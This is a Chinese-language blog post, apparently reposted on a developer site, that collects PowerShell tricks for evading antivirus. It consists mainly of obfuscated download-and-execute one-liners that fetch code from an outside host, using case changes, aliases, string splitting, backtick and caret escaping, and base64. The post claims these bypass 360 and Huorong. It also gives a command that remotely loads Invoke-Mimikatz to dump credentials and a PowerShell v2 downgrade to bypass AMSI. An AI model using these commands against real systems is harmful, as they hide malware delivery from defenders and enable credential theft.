概述
文章目录
- 前言
- powershell变形方法
- 大小写
- 管道符
- 修改函数名
- 命令拆分
- 反引号处理
- base64免杀
- 组合拳
- 其他思路
- 低版本powershell
前言
powershell是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能,PowerShell脚本的文本文件,其文件名需要加上扩展名“.PS1”。PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。
PowerShell具有以下特点:
- 1、在Windows 7以上的操作系统中是默认安装的。
- 2、PowerShell脚本可以运行在内存中,不需要写入磁盘。
- 3、几乎不会触发杀毒软件。
- 4、可以远程执行。
- 5、目前很多工具都是基于PowerShell开发的。
- 6、使得Windows的脚本攻击变得更加容易。
- 7、cmd.exe通常会被阻止运行,但是PowerShell不会。
- 8、可以用来管理活动目录。
这篇文章主要是收集总结网上的各种powershell免杀姿势,给自己提供一点思路,测试命令如下:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.190.128:80/a'))"
powershell变形方法
大小写
这个就不用多说了
管道符
Powershell的 -command 有个参数 -
修改后:
echo IEX(new-object net.webclient).downloadstring('http://192.168.190.128:80/a') | powershell -
修改函数名
在文档中有这么一个功能 set-alias
例: Set-Alias -Name 修改名字后的函数 -Value 需要修改的函数
powershell.exe set-alias -name xz -value IEX;xz(New-ObjectNet.WebClient).DownloadString('http://192.168.190.128:80/a')
命令拆分
将PowerShell脚本将 字符串拆分
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19’+'2.168.190.12'+'8/a'))"
将命令分割成函数
powershell.exe "$a='((new-object net.webclient).download';$b='string('http://192.168.190.128:80/a'))';IEX(a+b)"
反引号处理
PowerShell使用 反引号 作为转义字符
powershell.exe -nop -w hidden -c "IEX ((new-object "ne`t.web`client")."down`load`str`ing"('http://192.168.190.128:80/a'))"
^
也是可以用来转义的
cmd /c echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://192.168.190.128:80/a')) | p^o^w^e^r^s^h^e^l^l -
cmd /c 是命令运行之后关闭窗口,而我们使用 ^ 是成功绕过的,火绒 && 360 均没有报错
base64免杀
base64编码命令whoami
# echo "whoami"|base64
d2hvYW1pCg==
解密后执行
iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("d2hvYW1pCg==")))
记一次 PowerShell 免杀实战
组合拳
采用Invoke-Mimikatz.ps1进行远程mimikatz远程加载的方式,进行绕过全家桶的查杀。
echo I^E^X (New-Object Net.W^e^b^C^l^i^e^n^t).D^o^w^n^l^o^a^d^S^t^r^i^n^g('http://10.0.100.14:80/download/Invoke-Mimikatz.ps1'); I^n^v^o^k^e^-M^i^m^i^k^a^t^z -D^u^m^p^C^r^e^d^s |p^o^w^e^r^s^h^e^l^l - >1234.txt
其他思路
低版本powershell
强制使用powershell v2版本,该方法可以绕过amsi,因为版本2没有支持amsi的必要内部挂钩
powershell -Version 2 -exec -bypass
记一次powershell的免杀之路(绕过360、火绒)
APT的思考: PowerShell命令混淆高级对抗
最后
以上就是平常萝莉为你收集整理的PowerShell命令免杀思路前言powershell变形方法组合拳其他思路的全部内容,希望文章能够帮你解决PowerShell命令免杀思路前言powershell变形方法组合拳其他思路所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复